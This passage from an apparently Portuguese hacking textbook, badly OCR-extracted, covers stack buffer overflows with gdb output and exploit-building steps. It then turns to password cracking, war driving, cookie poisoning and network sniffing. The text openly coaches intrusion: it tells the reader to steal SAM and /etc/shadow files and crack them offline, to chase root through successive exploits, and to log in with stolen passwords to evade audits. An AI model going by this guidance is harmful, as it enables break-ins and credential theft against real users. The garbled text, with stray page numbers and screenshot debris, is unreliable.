com o contedo da memria, gravado no arquivo core. O que ser que aconteceu? Lembremos agora da pilha. O espao para nossa varivel xuxu (que podemos chamar de buffer) era de 5 bytes - ns mesmos definimos isso (char
xuxa[5]). Cada caracter ocupa 1 byte, portanto 5 caracteres enche o buffer.
Mas o sistema no possui nenhum mecanismo de checagem, ou melhor, a linguagem C no possui. Portanto, se colocarmos mais de 6 caracteres no buffer,
haver estouro. Os dados a mais sero escritos por cima de alguma outra coisa
(normalmente
algo muito importante...).
Agora, o segundo detalhe. A pilha armazena de baixo para cima. Portanto, se
voc olhar a representao
grfica que fizemos dela, vai notar que o sexto
caracter vai ser escrito sobre o Ponteiro da Pilha!
O ponteiro de pilha possui vrios bytes ( de tamanho varivel) e o de retomo,
4 bytes3 . por isso que, quando escrevemos 6 ou 7 caracteres, nada acontece estamos sobrescrevendo
o ponteiro da pilha, em alguma regio que no nos
afeta imediatamente. A partir do oitavo caractere temos um problema imediato:
estamos sobrescrevendo
alguma rea importante do ponteiro de pilha.
Se avanarmos mais um pouco, l pelo dcimo-quarto
ou dcimo-quinto
caracter certamente chegaremos ao ponteiro de retorno!!!!! Agora o primeiro
byte do endereo de retomo no ser mais o endereo original, ser o valor
hexa do caracter que digitamos! Se for A, por exemplo (ave Aleph1!) o valor
hexadecimal
ser 41h. Vamos depurar nosso programa usando o gdb, um
depurador GNU - para DOS, procure uma ferramenta adequada (como o debug)
ou use uma das mquina Linux da nossa rede de testes. Primeiro, vamos rodar
nosso programa e gerar um core dump com muitos "A"s:
$ ./idiota

Falha de segmentao (core dumped)


$
Agora, vamos rodar o gdb e ver o que ele nos diz:
$ gdb idiota core
GNU gdb 5.1
3. Explicao tcnicaavanada:os ponteiros tm quatro bytes de comprimento, ou 32 bits,o que
equivale

a um

valor

decimal

entre

O e 4.294.967.295,

2581
Ataque,defesa e contra-ataque: Invaso[

ou

seja, 4 GB.

Universidade 3ano

Copyright 2001 Free Software Foundation, Inc.


GDB is free software, covered by the GNU ...
(corta)
(no debugging symbols found)...
Core was generated by './idiota'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...
(no debugging symbols found) ...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2.. .done.
Loaded symbols for /lib/ld-linux.so.2
#0 Ox41414141 in ?? ()
(gdb)
$

A linha importante, por enquanto, #0 Ox41414141 in ?? (). Ela indica o


endereo de retomo. Observe que, em vez do endereo correto, temos nosso
caracter A (41h) repetido vrias vezes. Bela maneira de fazer o programa abortar! Nosso programinha termina por ali mesmo, mas faamos um teste: entre
as linhas funcao_idiota() e retum O; coloque a seguinte linha printf():
{
funcao_idiota()

printf(llNao atingiu
return

Ponteiro

de Retorno!\n\nll);

O;

Agora compile e rode o programa. Voc ver que, at 11 caracteres, a mensagem fmal mostrada antes do core dump. Com 12 caracteres ou mais, a mensagem perdida: atingimos o ponteiro de retorno! Esse valor, claro, depende do
programa, dos dados gravados no stack, do tipo de dados do nosso buffer, etc.

Ganhando acesso
por estouro de pilha
S que enfiar um bando de "A"sno buffer no muito til. E se pudssemos
executar algum cdigo de mquina (sim, tem que ser cdigo de mquina, afmal
o programa est compilado...)? Poderamos executar uma pequena rotina carregada no prprio buffer, que o nico lugar a que temos acesso. Desviar o
processamento para o buffer no requer prtica nem habilidade: j temos controle sobre o ponteiro de retomo, basta colocar nele o endereo do buffer em
vez da montoeira de "A"s.

I 259 I
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Note que este procedimento bem parecido com a injeo de SQLque vimos
no captulo Vulnerabilidades 11.Usamos um campo acessvel externamente pelo
usurio - no caso do SQL, um campo em um formulrio; aqui, uma varivel
solicitando dados - e injetamos nele os comandos pertinentes.
Falamos em cdigo de mquina, no ? Aqui temos o grande pulo-do-gato dos
exploits que se aproveitam do buffer overflow de algum programa mal escrito. Ns queremos ganhar um shell no sistema, e isso depende do sistema
operacional. O programa que oferece o shell num Solaris no o mesmo de um
MacOS que no o mesmo no Windows... Por outro lado, para chamar esse
shell temos que colocar um cdigo de mquina no buffer, o que quer dizer que
temos que fazer um exploit para cada dupla SO+Hardware existente. Um exploit
para Linux em Alpha no o mesmo que um para Linux em i386 (os PCs
comuns). o mesmo sistema operacional, mas no o mesmo processadot. Por
outro lado, um PC rodando Windows 2000 vai precisar de um exploit diferente do que um Solaris rodando no mesffissimo Pc. o mesmo processador, mas
no o mesmo SO. Mesmo considerando que estamos usando o mesmo programa bugado (por exemplo, o interpretador de PerI de cada um dos SOs) o exploit
desse programa vai ser diferente em cada combinao SO+HW
Para fms didticos, vamos nos ater ao PC e ao Linux. Vamos "desassemblar"
nosso programinha com o gdb:
$ gdb idiota
*** mensagens diversas ***
(gdb)disass main
Dump of assembler code for function main:
Ox8048464 <main>:
push
%ebp
Ox8048465 <main+l>:
mov
%esp,%ebp
Ox8048467 <main+3>:
sub
$Ox8,%esp
Ox804846a <main+6>:
cal1
Ox8048430 <funcao_idiota>
Ox804846f <main+ll>:
add
$Oxfffffff4,%esp
Ox8048472 <main+14>:
push
$Ox8048520
Ox8048477 <main+19>:
cal1
Ox8048334 <printf>
Ox804847c <main+24>:
add
$OxlO,%esp
Ox804847f <main+27>:
xor
%eax,%eax
Ox8048483 <main+31>
Ox8048481 <main+29>:
jmp
Ox8048483 <main+31>:
leave
Ox8048484 <main+32>:
ret
Ox8048485 <main+33>:
lea
OxO(%esi,l) ,%esi
Ox8048489 <main+37>:
lea
OxO(%edi,l) ,%edi
End of assembler dump.
(gdb)

Observe a linha
Ox804846a<main+6>:

260

cal1

Ataque,

defesa

e contra-ataque:

Invaso

Ox8048430 <funcao_idiota>

Universidade 3ano

Desenferrujando um pouco nossos conhecimentos de assembler, lembramos


que a funo call chama uma outra funo qualquer residente no endereo
especificado. Como em linguagem de mquina no d pra atribuir nomes s
subrotinas, o sistema tem que saber exatamente onde na memria elas esto.
No comeo da listagem, observe que a funo main inicia na posio de memria Ox8048464 e instruo call chama uma subrotina que se encontra em
Ox8048430. Vamos dar agora uma olhada na funo funcao_idiota(

):

(gdb) disass funcao_idiota


Durnpof assernblercode for function funcao_idiota:
Ox8048430 <funcao_idiota>:
push
%ebp
Ox8048431 <funcao_idiota+l>:
rnov
%esp,%ebp
Ox8048433 <funcao_idiota+3>:
sub
$Ox18,%esp
Ox8048436 <funcao_idiota+6>:
add
$Oxfffffff4,%esp
Ox8048439 <funcao_idiota+9>:
lea
Oxfffffff8(%ebp) ,%eax
Ox804843c <funcao_idiota+12>:
push
%eax
Ox804843d <funcao_idiota+l3>:
call
Ox8048304 <gets>
Ox8048442 <funcao_idiota+18>:
add
$Oxl0,%esp
Ox8048445 <funcao_idiota+2l>:
add
$Oxfffffff8,%esp
Ox8048448 <funcao_idiota+24>:
lea
Oxfffffff8(%ebp) ,%eax
Ox804844b <funcao_idiota+27>:
push
%eax
Ox804844c <funcao_idiota+28>:
push
$Ox8048500
Ox8048451 <funcao_idiota+33>:
calI
Ox8048334 <printf>
Ox8048456 <funcao_idiota+38>:
add
$Oxl0,%esp
Ox8048459 <funcao_idiota+41>:
jrnp
Ox8048460 <funcao_idiota+48>
Ox804845b <funcao_idiota+43>:
nop
Ox804845c <funcao_idiota+44>:
lea
OxO (%esi,
1) , %esi
Ox8048460 <funcao_idiota+48>:
leave
Ox8048461 <funcao_idiota+49>:
Ox8048462 <funcao_idiota+50>:
End

of

assernbler

ret
rnov

%esi,%esi

durnp. (gdb)

Olha s! O call da funo main() chama exatamente


tro da funo idiota, a linha
Ox8048461<funcao_idiota+49>: ret

a funcao_idiotaO.

Den-

mostra a instruo assembler de retomo (ret). Essa instruo vai usar o ponteiro de retomo para voltar ao main. Chegamos ao ceme da questo dos exploits
por buffer overflow. Trocando em midos, voc precisa:
1. Descobrir uma varivel do tipo buffer que esteja vulnervel;
2. Verificar, no cdigo fonte ou por tentativa e erro, os endereos onde as
chamadas de funo esto, bem como o endereo que marca o incio do buffer
da varivel;
3.

Fabricar um exploit que insira cdigos de mquina

no buffer, contendo

1261 I
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

instrues para nos dar um shell, e depois "estufe" a pilha at atingir a posio
do ponteiro de retorno, l colocando o endereo do incio do buffer.
Um exemplo, em Unix, seria uma rotina que, atravs da funo execve( )
chamasse um shell. execve( ) uma chamada de sistema que simplesmente
permite executar um arquivo binrio externo ao programa. Que beleza! De
dentro de nosso exploit, executamos Ibin/sh !!!O shell executado no usurio
do programa vulnervel. Se for, por exemplo, no Apache, ganharemos um shell
do usurio nobody. O que hackers mais gostam, nessa hora, so programas
vulnerveis rodando com SUID...Mas isso outra histria (v l e pesquise!).
No Windows, programas vulnerveis rodando com privilgio System so um
perigo! Acesso total mquina. Para explorar um buffer overflow, geralmente
faz-se chamadas a funes de DLLs acessveis pela aplicao vulnervel. Dica
para estudo de execuo arbitrria de comandos no Windows: WININET.DLLe
o prprio MFC.DLL.Novamente, mexa-se...
No vamos nos aprofundar mais, pois no est no escopo do livro entrar
muito fundo nas entranhas de nenhum assembler. Para comear, um belo texto
para iniciantes em buffer overflows (mixter.void.ru/exploit.html). Para saber
mais, recomendo a leitura dos whitepapers da Fatal 3rror (struck.8m.com/G),
o excelente texto de Dark Spyrit sobre buffer overflows no Windows
(community.core-sdi.com/-julianolbufo.html)
e o estudo que comeou tudo
isso: "Smashing the stack for fun and profit", do lendrio Alephl, lanado na
edio 49 da ezine Phrak em 1996 e disponvel online no endereo
www.insecure.org/stf/smashstack.txt.
Outro white-paper digno de nota: como explorar servios avanados com
estouros de pilha, indo muito alm de conseguir um shell.Taeho Oh nos mostra
em postech.edu/-ohhara (ou, alternativamente, em ohhara.sarang.net/security/
adv.txt) como furar firewalls baseados em ftltros de pacotes, abrir sockets (e,
portanto, backdoors) no prprio exploit e libertar-se da priso do chroot4.
Se voc quer realmente conhecer a fundo todos os meandros dos estouros de
pilha (nos quais 99% dos exploits existentes so baseados), recomendo, novamente, parar a leitura do livro e estudar os sites indicados. Lembre-se, o Google
seu amigo... Desnecessrio dizer que pr-requisito para isso saber alguns
fundamentos de C e Assembler. Apesar de alguns dizerem que no, as linguagens Pascal (e portanto o Delphy/Kylix tambm) e Basic (Visual Basic, Thrbo
Basic, Quick Basic,...) e mesmo novas linguagens como C++, C# e Java tambm
padecem do mesmo mal. As formas de explorar os estouros nessas linguagens
so diferentes, mas ainda assim a vulnerabilidade existe.
4. Chroot , simplificando a definio, uma maneira de "enjaular" uma aplicao que precise de direitos
de superusurio para rodar. Normalmente, instala-se a aplicao em um diretrio que possui uma cpia do
sistema de arquivos do sistema oper.acional, mas no o sistema de arquivos verdadeiro. Nesse ambiente
falso, a aplicao roda com pseudo-direitos de root, que s valem dentro do ambiente.A aplicao fica feliz
em ser enganada e roda perfeitamente. Se um hacker invadir essa mquina por meio de um buffer overflow
da aplicao em chroot, vai conseguir, no mximo, o mesmo superusurio falso que a aplicao usa.

2621
Ataque, defesa e contra-ataque:

Invaso r

Universidade 3ano

Ganhando acesso a outras contas


You know the day destroys the night / Night divides the day / Tried to run,
tried to hide / Break on through to the other side5
At agora, invadimos uma nica mquina. Ok, voc pode ter invadido diversas, mas mesmo que "Owne" dez ou quinze delas ainda no pesquisou como a
rede ao redor funciona. Ou pior: voc conseguiu um shell restrito e no consegue fazer muitas coisas! Encontramos dois exemplos clssicos nas pginas anteriores: o servidor Web Apache (que roda em usurio nobody) e aplicaes
rodando em chroot.
Tomemos o Apache: voc aplicou um exploit nele e conseguiu um shell. S
que, nesse shell, o usurio que est logado o nobody - um usurio especial
criado justamente para no dar poderes especiais a potenciais invasores. Como
o Apache no precisa de poderes especiais para rodar, apenas acesso a seus
prprios arquivos, tudo corre s mil maravilhas. Um script kid entra por buffer
overflow, tem acesso a um shell do nobody, pode, talvez, sobrescrever uma ou
outra pgina HTML - e s! No tem acesso rede, no tem poderes de root,
no possui sequer um diretrio !home...
No Windows (NT e 2000), apesar de ser mais freqente os administradores
instalarem programas servidores nos grupos System ou Administrator, tambm prtica recomendada de segurana deixar tais programas com o mnimo possvel de direitos sobre o sistema.
Nesse cenrio, invadimos a mquina mas no temos, ainda, muito poder sobre ela. hora, pois, de tentar conseguir, de alguma forma, acesso a outras
contas e, se possvel, ao superusurio.
A primeira forma a que vimos nas pginas anteriores. Todo usurio tem
acesso a diversos programas em sua mquina normal. Numa mquina Unix
temos diversos scripts, programas de todos os tamanhos como fetchmail, MySQL,
Informix, Oracle, sendmail, login, telnet, popd, inetd... Mais perto do usurio
final, ainda, temos o servidor grfico X Windows, os ambientes KDE, Gnome,
CDE,WindowMaker (etc etc etc) e aplicativos associados. Temos ainda os prprios configuradores do sistema, como Linuxconf no Linux, Smit no AIX,
Admintool no Solaris, SAM no HP-UX... Cada um deles com maior ou menor
grau de direitos sobre o sistema. "Exploitar" qualquer um dos programas deste
pargrafo pode levar ao root ou a, pelo menos, um usurio com mais direitos.
Uma ltima dica: leia atentamente as pginas de manual dos comandos su e
sudo e do arquivo /etc/sudoers. Voc talvez ache interessante. (R h h...)
No Windows no nada diferente. IIS,subsistema de segurana e login, Access,
Word, Excel, Powerpoint ( triste, mas j encontramos servidores com o Office

5. "Quando o dia destri a noite / a noite divide o dia / tentei correr, tentei me esconder / mas agora atravesso para o outro lado". Break on through [to the other sidej. Do lbum The Doors, de 1967.

12631

I Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

instalado...), MS SQL Server, CGls diversos... Todos eles podem ser explorados
para oferecer mais controle. At que se chega em algum usurio ou programa
que d acesso linha de comandos com os privilgios do grupo System (o
"root" do Window NT).A dica, neste caso, fica por conta de exploits sucessivos
(para ganhar cada vez mais poder) em direo a alguma DLLdo prprio Kernel.
Se voc leu o captulo sobre Plataformas Windows, aprendeu que vrias partes
do kernel rodam em User Mode. Algumas, mesmo assim, rodam com privilgios do grupo System. 2+2...
Embora seja efetivo e fcil, depender de exploits pode deix-Io "na mo" em
sistemas bem configurados e, principalmente, atualizados. H, entretanto, formas alternativas de ganhar acesso a outras contas. A quebra de senhas , seguramente, a mais usada.

Mtodos para descobrir usurios e senhas


No captulo 7 (Vulnerabilidades l) vimos diversas maneiras de quebrar as
senhas do sistema. Vamos relembrar algumas:
1. Logins fracos: Duplas usurio/senha com palavras facilmente encontrveis
no dicionrio ou pior, que possam ser descobertas por engenharia social - so
brinquedo na mo de hackers experientes. Listas de palavras e aplicativos que
tentam combinaes baseadas em dicionrios existem s pencas por a.
2. Brute Force: se os logins no so assim to fracos, h ainda a possibilidade de direcionar um ataque "burro", que testa as combinaes possveis de
letras, nmeros e smbolos do teclado at encontrar uma ou mais duplas usurio/senha que entrem.
3. Roubo e decifragem dos arquivos de senhas: se o hacker conseguir
obter uma cpia dos arquivos de senhas (SAM databases no Windows, /etc/
passwd e /etc/shadow no Unix) est dentro! Basta usar as ferramentas conhecidas para tal (como o LophtCrack para Windows ou o John the Ripper para
Unix) e pronto! Todas as senhas do sistema esto no papo, incluindo as do
Administrador do Windows e do root no Unix.
Antes de tentar descobrir pares de logins e senhas, vamos ver um exemplo de
ataque por dicionrio e brute force. Observe uma coisa: j estamos dentro da
mquina, portanto nosso script no vai mais enviar uma solicitao de login
via rede. Podemos usar os procedimentos de login locais do prprio sistema
operacional para tentar mudar de usurio. Novamente, um pouco de engenharia social, se possvel, sempre ajuda.
Apesar de ser possvel usar programas prontos para tal, como internamente
cada caso um caso o melhor caminho fazer um script (em shell no Unix ou
em WSE ou VBA no Windows) que teste seqencialmente toda a sua lista de
palavras em todas as combinaes de logins e senha possveis. Elaborar as
listas com os nomes obtidos por engenharia social uma boa prtica.
Um script que fizesse isso deveria ter a seguinte estrutura:

2641
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

1. Pega a prxima palavra do arquivo de dicionrio;


2. Insere esse nome no programa de login do sistema;
3. Pega a primeira palavra do arquivo de dicionrio;
4. Insere como senha no programa de login do sistema;
5. Pega a prxima palavra do arquivo de dicionrio;
6. Insere como senha no programa de login do sistema;
7. Volta ao passo 5 at que todas as palavras tenhas sido usadas;
8. Volta ao passo 1 at que todas as palavras tenhas sido usadas.
fcil implementar isso, por exemplo, com os programas login ou su do
Unix em um shell script. Mas h um problema:VOC ESTSENDOVlGIADO!!!
Todas as tentativas malsucedidas de login estaro sendo registradas nos logs
do sistema. Como voc ainda no tem privilgios de root, seria impossvel apagar tais rastros. Esta, portanto, no a melhor maneira de tentar entrar. H
uma, entretanto, fantasticamente simples e muito mais segura: o roubo do arquivo de senhas e posterior decifragem dos hashes.
imperativo no ser descoberto. Portanto, a metodologia usada pela maioria
dos crackers obter o arquivo de senhas do sistema e tentar quebr-Ias, off1ine,
em casa. Pode-se usar diversos computadores ligados em c1usters - muito
fcil fazer em casa, com Unux, supercomputadores com cinco ou seis 486s e
mesmo 386s obtidos do lixo - e os programas quebradores de senhas j citados - LOphtCrack e John the Ripper. Uma nica mquina rodando Windows
NT com o LOphtCrack j algo considervel: mesmo que demore um ou dois
meses para conseguir alguma senha usvel, tempo o que o hacker mais tem.
E, trabalhando em casa, o seu trabalho no ser detectvel.

Quebrando senhas no Windows


A sistemtica simples. Deve-se:
1. Roubar o arquivo de senhas e levar pra casa;
2. Passar o arquivo de senhas no programa quebrador;
3. Testar as senhas recuperadas no sistema original pra ver se os usurios
no as alteraram.
Como exemplo prtico, vamos usar um descendente do antigo LOphtCrack, o
LC4, atualmente
distribudo
pela empresa
de segurana
@Stake
(www.atstake.com).Criado por hackers como prova de conceito para demonstrar as fragilidades dos hashes do Windows NT, o software chegou at a verso
2.5 ainda com o cdigo fonte aberto. No final da dcada de 90 os direitos sobre
o software foram transferidos atual proprietria, e o LOphtCrack 2.5 foi
relanado como LC3. O LC4 , portanto, uma evoluo direta do LOphtCrack
2.5. O software hoje vendido a um preo de US$350,00 por licena, mas
possvel fazer download de uma verso de avaliao vlida por 15 dias - com as
rotinas de brute-force desabilitadas. No site, a @Stake oferece, gratuitamente e
com cdigo fonte, a verso 1.5 do LOphtCrack - ainda em linha de comando.

1265 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

Para o passo 1, devemos de alguma forma "chupar" os hashes dos usurios


contidos no banco de dados SAM, normalmente guardado no registro em
HKEY_LOCAL_MACHINE\SECURlTY\SAM\Domains\Account\Users
(achou
que no amos dizer a chave?). Para tanto, podemos usar um utilitrio do prprio LC4, chamado pwdump.
Outro programa que rouba as senhas do SAM o pwdump3. Originalmente
desenvolvido por Jeremy Allison and Todd Sabin, hoje mantido por uma empresa, a PoliVec. Embutido em seu produto multiuso de segurana PoliVec
Scanner, o pwdump3 (www.polivec.com/pwdump3.html)
permite que as senhas sejam recuperadas inclusive remotamente, pela rede (incluindo a Internet).
Uma terceira opo um utilitrio que acompanha o pacote de servidores
5MBpara Unix, o Samba (www.samba.org).Junto com o produto est includo
um programinha chamado (olha que original...) pwdump, que extrai o SAM
database e o transforma em um arquivo de senhas do Samba (smbpasswd)
vlido. Mais informaes sobre ele podem ser obtidas em us1.samba.org/samba/ftp/pwdump/ .
Nos trs casos, gera-se arquivos de senhas que o LC4 pode interpretar. Nos trs
casos, tambm, precisa-se de privilgios de Administrador para rodar o programa. Esse obstculo, apesar de complicado, ainda assim contornvel. H diversas
maneiras de faz-Io:rodando o programa na mquina alvo atravs de um exploit,
rodando o programa em uma mquina de senhas fracas com relaes de confiana com a mquina alvo, fazendo invaso fsica no local onde a mquina est...
Uma vez conseguido o arquivo de senhas, passemos ao passo 2. Desconectese completamente da rede a ser invadida e rode, em casa, o LC4 contra seu
arquivo. H uma farta documentao includa com o prprio produto, portanto no vamos detalh-Io aquLA figura a seguir mostra um processo de cracking
em andamento, com algumas senhas j descobertas:

- -"-y"

<m.~. ,~

JHISI'1.A<ESUCI
OOU,I>SOI<T

G.om

iIomIh
.......

-.
,,,..

-.
-2661

Ataque, defesae contra-ataque: Invaso [

Od0h1ln!&
OdOh'm,*,

0.1""""52>
OdOhOrn..

, "-"

mmn
mm?RGS3

_r
'AS"A"""''''
1'rl??1/>.

"'''''''''" !,,,.."u..
mmJ~

bobofett

OdOhlm1o!<

"'-

0.1""......

Universidade 3ano

Observe: como vimos nos captulos sobre Vulnerabilidades, as contas no WinNT


so guardadas em 2 hashes: um para o antigo Lan Manager e outro com a senha
mais forte do NT.Alm do 1M Hash ser mais fcil de quebrar, normalmente os
usurios usam a mesma senha localmente (NTLM). O prprio Lc4 sabe disso e,
uma vez conseguida a senha LM, interrompe o brute force e tenta a mesma
senha no NT.Como voc pode ver na figura, vrias senhas j esto descobertas
e, no exemplo, TODAS so iguais nos dois campos. O usurio shennesy parece
gostar do seriado Star Treck e o usurio djattan parece no estar muito contente com seu local de trabalho - com um pouco de engenharia social, o hacker
nem precisaria do Lc4. O usurio Guest no possui senha (glup!).
A figura anterior foi retirada de um estudo de Dan Smith, na Universidade da
Carolina do Norte, EUA,e pode ser encontrado em www.unc.edu/-smithdr/
inls187/sr.htm1 . O estudo, alm de analisar o software, traz dados sobre tempo
para quebrar senhas de todos os tipos, fracas ou teoricamente seguras.
Por ltimo (passo 3), teste todas as senhas que conseguiu no sistema invadido. possvel que algumas estejam trocadas, mas voc j sabe, pelo menos, o
nome dos usurios vlidos e o padro que eles usam para elaborar suas senhas.
Por exemplo, a conta Administrator mostrada possua uma senha BARNABAS09.
As chances esto entre 80% e 90% de que, nos prximos meses, ela seja
BARNABASlO,BARNABASll...Acho que o leitor j "pescou" o mecanismo!

Quebrando senhas no Unix


Voc acha que a sistemtica mudou? Nada disso:
1. Roubar o arquivo de senhas e levar pra casa;
2. Passar o arquivo de senhas no programa quebrador;
3. Testaras senhas recuperadasno sistemaoriginalpra ver se o usuriono a alterou.
H diversos programas para Unix que descobrem senhas em arquivos
criptografados. O mais conhecido certamente o John the Ripper. Us-Io to
fcil que d raiva. Uma vez instalado e configurado, basta "aliment-Io" com o
arquivo de senhas e deixar que ele faa o servio. A sintaxe simples:
$ john arquivo_senhas

No passo 1 temos os mesmo problemas que tivemos com o Wmdows. Como vimos
no captulo sobre PlataformasUnix, os sistemas modernos utilizam o sombreamento
de senhas, que consiste em separar o processo de login em dois arquivos:
o /etc/passwd (que contm informaes gerais sobre o usurio, como nome, login,
GID,UID,diretrio ;home e shell inicial) e o /etc/shadow (que contm as senhas
criptografadas). Como o /etc/passwd tem que ser legvel por todos, os hashes ficariam desprotegidos se ficassem a. O arquivo /etc/shadow, ao contrrio, legvel e
editvel apenas e to somente pelo superusurio, o root. Se o sistema invadido possuir sombreamento de senhas, voc s conseguir roubar o arquivo /etc/shadow se
estiver em um shell root. Se o sistema invadido no possuir sombreamento, o "administrador" j deixou metade do servio pronto para voc...6
6. Mesmo que o sistema possua password shadowing, voc ainda ter os nomes vlidos de contas.

IAtaque,

defesa e contra-ataque:

I 267 I
Invaso

I Universidade

H4CK3R I

Encontrar e aplicar um exploit que lhe d acesso a root a forma mais direta
para conseguir o arquivo de shadow. Outras formas incluem:
1. Fazer core dumps de programas SUlD root que acessem as senhas (como
o FTp' o SSH ou o Telnet);
2. Verificar no arquivo passwd qual dos usurios tm "pinta" de ad
mistrador - possvel que ele possua programas SUlD em seu !home.
Uma vez descoberta a senha, chegamos ao passo 2. Basta rodar o ]ohn the
Riper de acordo com o configurado e esperar. No final, uma lista de senhas
vlidas (possivelmente a do root tambm) ser encontrada. O passo 3 trivial:
volte cena do crime e use as senhas. Nada como logar-se como um usurio
autorizado para despistar as auditorias de invaso...

Ganhando acesso e destruindo a rede


Uma vez dentro da rede, h diversas aes possveis de ser tomadas. Estando em
posse de uma mquina, pode ser mais fcil invadir outras. Mas nem s de "Ownar"
vive um cracker. possvel, por exemplo, usar a rede como trampolim para outras
redes maiores. Ou capturar senhas dos usurios em servioes externos - como
senhas de bancos ou nmeros do carto de crdito. Ou ainda desviar o trfego
para que os usurios sejam encaminhados para armadilhas ou sites falsos.
Apresentaremos nesta seo apenas descries resumidas desses tipos de
ataques, com indicaes para sites com mais informaes.

War Driving e War Chalking

12681

Uma das mais novas formas de invaso corporativa o War Driving. Hackers
saem pelas ruas da cidade com gambiarras feitas de latas de batata frita, arruelas e alguns cabos, e capturam conexes de rede wireless que estejam "vazando". Como as corporaes no costumam criptografar suas conexes internas,
uma conexo wireless desse tipo fornece um acesso ilimitado, similar ao conseguido se o invasor entrar andando pela porta da frente e plugar um cabo do
seu laptop em uma tomada de rede da empresa.
O assunto relativamente novo e merece um estudo muito mais profundo do
que o que seria permitido neste livro. Alis, seria necessrio um livro inteiro
sobre isso. Uma excelente fonte de informaes e recursos (tutoriais, equipamentos, esquemas de antena - inclusive feitas em casa) o si te
www:wardriving.com. Um esquema simples de antena, construdo com o j
lendrio tubo de batatas fritas Pringles, pode ser encontrado
em
www.oreillynet.com/cs/weblog/view/wlg/448.
Hackers europeus foram mais longe e criaram o War Chalking - um alfabeto
especial para marcar, com giz e na calada, os pontos de acesso (posio e
orientao da antena) para uma melhor conexo rede alheia. Saiba mais sobre as tcnicas usadas no site oficial: www.warchalking.org (ou, alternativamente, www.warchalking.us). Esse site traz informaes tcnicas, tutoriais, clu-

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

bes e muitos links para outros recursos. O site www.blackbeltjones.com tambm tem diversos recursos. Um artigo sobre o assunto pode ser encontrado na
Meca do wireless, o site 802.11 Planet (www.80211-planet.com/columns/
artic1e.php/140240n.
.

Indo alm do SQl Injection...


Em nosso segundo estudo sobre vulnerabilidades, vimos maneiras simples de
enganar o script da pgina (seja em ASp' PHp, ColdFusion ou algum CGI) e
injetar nela modificaes na query SQL associada. Mas h outras maneiras de
brincar com sistemas baseados em Web.
A primeira e mais imediata observar e manipular os dados da prpria URL.
Muitos sistemas on-line carregam informaes valiosas em campos presentes depois do endereo HTfP (tarefa para casa: pesquisar sobre os mtodos HTMLGEf
e POS1). Pentear uma URLgrande tentando entender como o sistema funciona o
primeiro passo para entrar em tal sistema. Bancos, sites de compras e mesmo sites
governamentais utilizam a URL como transporte de dados do cliente sem se importar com o fato de serem informaes visveis por qualquer um na rede.
Um exemplo notrio disso foram as vulnerabilidades encontradas h alguns
anos no Hotmail (www.hotmail.com). em que os identificadores de sesso,
nomes de usurio e hashes das senhas estavam presentes na prpria URL. Hoje
o Hotmail j no padece mais desse mal, mas por muitos anos foi uma brecha
extremamente fcil de explorar.
Preste ateno ainda em sites que usam chamadas ODBC e no SQL. Sistemas
100% Microsoft tendem a privilegiar o inseguro protocolo ODBC para acesso
a bancos de dados Access e SQL-Server.
Alguns links para pesquisa sobre SQL Injection:
~ www.securiteam.com/securityreviews/5DPONlP76E.html
~ online. securityfocus.com/infocus/1644
~ www.sqlsecurity.com/DesktopDefault.
aspx?tabindex=2&tabid=~
~ www.nextgenss.com/papers/advanced
sql injection.pdf
~ www.spidynamics.com/papers/SQLIniectionWhitePaper.pdf
Outro mtodo o coolde poisoning, uma maneira de torcer a autenticao
via W eb. Quase a totalidade dos sites hoje em dia utilizam-se de cookies para
controlar acesso e sesso. Alterar UserID e SessionID em cookies pode ser um
atalho para entrar em contas de outros usurios.
mais difcil encontrar recursos sobre cookie poisoning na Internet. Sugerimos os seguintes recursos:
~ White paper: Hacking web applications
using cookie poisoning
(www.allasso.pt/base/ docs/11042206054. pdO.
~ Busca pela palavra chave cookie no Security Focus (www.securityfocus.com).

1269 I
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Dois softwares que trabalham como proxy baseados no desktop podem ser
usados para facilitar a manipulao de Cookies (e de cabealhos HTTP tambm!): so eles o Achilles e o BrowseGate. A empresa que produz o Achilles
(DigiZen Security Group - www.digizen-security.com) parece ter retirado o
site do ar, mas descries sobre o produto podem ser encontradas no
PacketStorm (packetstormsecurity.nl/filedesc/achilles-O-27.zip.html)
e no
SecuriTeam.com (www.securiteam.com/tools/6LOOR200KA.html).
O BrowseGate, desenvolvido
pela NetCPlus (www.netcplus.com/
browsegate.htrnl) outra opo de Proxy Server que pode ser usada de maneira malfica para torcer cookies e autenticao em sites. H uma anlise dele
em www.webattack.com/getlbrowsegate.shtml.
Para todos os problemas listados, possveis solues podem ser encontradas
no site oficial sobre segurana em sistemas web: www.owasp.org.

Farejando a rede (Sniffing)


Outra forma de ganhar acesso a uma rede, depois de "Ownar" uma das mquinas que a integram, passar a "escutar" o que est trafegando nessa rede.
Os programas que fazem esse tipo de trabalho sujo so chamados de sniffers
ou farejadores.
Um sniffer trabalha na camada 2 de nosso modelo de referncia OS!. Isso
quer dizer que impossvel fazer um sniffing diretamente via Internet em
uma rede distante. necessrio que o invasor instale e rode o sniffer em uma
mquina pertencente rede local que se quer farejar.
a objetivo mais imediato de um invasor quando instala um sniffer descobrir senhas de outros usurios da mesma rede. Deixando a ferramenta "de
campana" por alguns dias, possvel conseguir senhas de dezenas de usurios e centenas de servios (sites, e-mail, servidores, sistemas...). Como h servios autorizados para alguns usurios em especial e negados aos outros,
interessante, medida que se
v conseguindo senhas, que
instale sniffers em diversas
mquinas e, com isso, consiga
um universo maior delas.
fcil perceber que, nesse
contexto,
o invasor
vai
"Ownando"aos poucos um grande nmero de mquinas dentro
da rede remota. Como uma
ferramenta da camada 2 e, portanto, local, o sniffer deve ser
instalado e deixado em atividade sem que o invasor interve1270

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

nha. A ferramenta escutar a rede e gravar tudo o que for de interesse em um


arquivo. Depois de algum tempo (alguns dias ou semanas) o hacker voltar ao
local do crime apenas para recuperar o arquivo com o tesouro, o qual analisar em casa, desconectado.
H uma forma mais perniciosa de usar o sniffer: coloc-Io em um gateway
entre redes. Como vimos nos captulos pertinentes, um gateway um equipamento que une duas ou mais redes diferentes de forma a passar pacotes entre
